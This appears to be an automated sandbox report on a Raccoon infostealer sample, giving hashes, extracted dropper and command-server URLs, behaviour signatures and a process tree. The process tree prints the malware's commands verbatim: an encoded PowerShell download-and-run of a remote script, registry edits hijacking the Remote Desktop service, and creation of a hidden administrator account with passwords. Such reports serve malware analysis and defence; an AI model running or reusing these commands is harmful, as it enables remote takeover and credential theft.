Analysis

  • max time kernel
    59s
  • max time network
    120s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    02-06-2021 18:09

General

  • Target

    10e60e71017ffb4298307d929c3512d0.exe

  • Size

    567KB

  • MD5

    10e60e71017ffb4298307d929c3512d0

  • SHA1

    a71ad0c8b69b55912a12ec9b4c1e5cddaafc5014

  • SHA256

    798204be3c87f8644d21f51035a29dd85e539e3969233ddda56a725461236717

  • SHA512

    2018830b17e27a3395d1254e76c6e268fc4badcd6ab2c19f5dac67bf424c653ab685368b39b4a051240b482bcbe3439379abc321f5606e58de2b6e2378786d83

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes
  • url4cnc

    https://tttttt.me/jdiamond13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\10e60e71017ffb4298307d929c3512d0.exe
    "C:\Users\Admin\AppData\Local\Temp\10e60e71017ffb4298307d929c3512d0.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Users\Admin\AppData\Local\Temp\FmFPaWStnk.exe
      "C:\Users\Admin\AppData\Local\Temp\FmFPaWStnk.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2332
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4008
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xqvayddi\xqvayddi.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2156
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES50F4.tmp" "c:\Users\Admin\AppData\Local\Temp\xqvayddi\CSCBA5076A86BA44A46A7369B4498552D5.TMP"
            5⤵
              PID:3720
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:408
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3236
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3400
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:1456
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:2104
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:3444
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1168
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:3952
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2448
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1288
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:732
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:3448
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2808
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1676
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2200
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:3200
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:3676
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:1704
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\10e60e71017ffb4298307d929c3512d0.exe"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1520
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:2716
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:384
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3528
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:3324
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc JnltooaA /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2716
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc JnltooaA /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3660
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc JnltooaA /add
                          3⤵
                            PID:1796
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1288
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2328
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:3652
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3736
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3044
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:3872
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2840
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:2760
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:3848
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc JnltooaA
                                1⤵
                                  PID:2268
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc JnltooaA
                                    2⤵
                                      PID:504
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc JnltooaA
                                        3⤵
                                          PID:3828
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:384
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                            PID:3676
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C wmic CPU get NAME
                                          1⤵
                                            PID:1744
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic CPU get NAME
                                              2⤵
                                              • Modifies data under HKEY_USERS
                                              PID:3188
                                          • C:\Windows\System32\cmd.exe
                                            cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            1⤵
                                              PID:3828
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                2⤵
                                                  PID:1652
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                    3⤵
                                                    • Blocklisted process makes network request
                                                    • Drops file in Program Files directory
                                                    • Drops file in Windows directory
                                                    • Modifies data under HKEY_USERS
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:2716
                                              • C:\Windows\System32\cmd.exe
                                                cmd.exe /C net user wgautilacc 1234
                                                1⤵
                                                  PID:2740
                                                  • C:\Windows\system32\net.exe
                                                    net user wgautilacc 1234
                                                    2⤵
                                                      PID:1676
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 user wgautilacc 1234
                                                        3⤵
                                                          PID:3944

                                                    Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • memory/408-213-0x00000175D45D8000-0x00000175D45DA000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/408-185-0x00000175D45D6000-0x00000175D45D8000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/408-182-0x00000175D45D3000-0x00000175D45D5000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/408-180-0x00000175D45D0000-0x00000175D45D2000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/1744-114-0x0000000002160000-0x00000000021F1000-memory.dmp

                                                      Filesize

                                                      580KB

                                                    • memory/1744-115-0x0000000000400000-0x0000000000496000-memory.dmp

                                                      Filesize

                                                      600KB

                                                    • memory/2332-129-0x0000024DAA3C0000-0x0000024DAA3C2000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2332-132-0x0000024DAA3C6000-0x0000024DAA3C7000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2332-127-0x0000024DC3090000-0x0000024DC34B1000-memory.dmp

                                                      Filesize

                                                      4.1MB

                                                    • memory/2332-131-0x0000024DAA3C5000-0x0000024DAA3C6000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2332-130-0x0000024DAA3C3000-0x0000024DAA3C5000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2716-256-0x00000234C56A3000-0x00000234C56A5000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2716-258-0x00000234C56A8000-0x00000234C56A9000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2716-257-0x00000234C56A6000-0x00000234C56A8000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2716-255-0x00000234C56A0000-0x00000234C56A2000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3236-217-0x000002CDC7AD6000-0x000002CDC7AD8000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3236-218-0x000002CDC7AD8000-0x000002CDC7ADA000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3236-214-0x000002CDC7AD0000-0x000002CDC7AD2000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3236-215-0x000002CDC7AD3000-0x000002CDC7AD5000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3400-222-0x00000277F0C48000-0x00000277F0C4A000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3400-220-0x00000277F0C43000-0x00000277F0C45000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3400-219-0x00000277F0C40000-0x00000277F0C42000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3400-221-0x00000277F0C46000-0x00000277F0C48000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/4008-158-0x00000134A4F60000-0x00000134A4F61000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4008-164-0x00000134A59B0000-0x00000134A59B1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4008-153-0x00000134A4ED6000-0x00000134A4ED8000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/4008-143-0x00000134A5490000-0x00000134A5491000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4008-142-0x00000134A4ED3000-0x00000134A4ED5000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/4008-141-0x00000134A4ED0000-0x00000134A4ED2000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/4008-138-0x00000134A4F10000-0x00000134A4F11000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4008-165-0x00000134A5D40000-0x00000134A5D41000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4008-223-0x00000134A4ED8000-0x00000134A4ED9000-memory.dmp

                                                      Filesize

                                                      4KB